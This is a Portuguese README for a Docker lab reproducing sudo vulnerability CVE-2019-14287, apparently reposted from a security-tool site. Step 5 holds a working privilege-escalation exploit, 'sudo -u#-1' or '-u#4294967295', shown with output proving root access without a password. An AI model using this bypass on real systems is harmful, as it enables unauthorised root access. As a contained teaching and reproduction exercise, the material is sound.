PoC do CVE-2019-14287

Resumo

Exemplo de reprodução da vulnerabilidade do sudo (CVE-2019-14287) em um contêiner Docker.

Passos do exercício

1. Inicie o contêiner com docker compose up -d
2. Entre no contêiner com docker exec -it vulnerable_sudo_app bash
3. Execute os comandos whoami e id para confirmar que você é um usuário normal (não root).
   root@kitploit:~

   $ whoami
   user1
   $ id
   uid=1000(user1) gid=1000(user1) groups=1000(user1)
   $ id -u
   1000
   

4. Confirme que sudo -u#0 whoami e sudo -u#0 id -u não podem ser executados.
   • Execute especificando uid 0 (root) na opção -u
   • Será solicitada uma senha, mas como você não a conhece, não pode executar.
   root@kitploit:~

   $ sudo -u#0 whoami
   [sudo] password for user1:
   $ sudo -u#0 id
   [sudo] password for user1:
   $ sudo -u#0 id -u
   [sudo] password for user1:
   

5. Execute sudo -u#-1 whoami e sudo -u#-1 id -u para confirmar que comandos podem ser executados como root sem autenticação (reprodução da vulnerabilidade).
   • O mesmo pode ser feito com -u#4294967295
   root@kitploit:~

   $ sudo -u#-1 whoami
   root
   $ sudo -u#-1 id
   uid=0(root) gid=1000(user1) groups=1000(user1)
   $ sudo -u#-1 id -u
   0
   

Referências

• CVE - CVE-2019-14287
• Potential bypass of Runas user restrictions | Sudo
• Resumo sobre a vulnerabilidade do sudo (CVE-2019-14287) - Qiita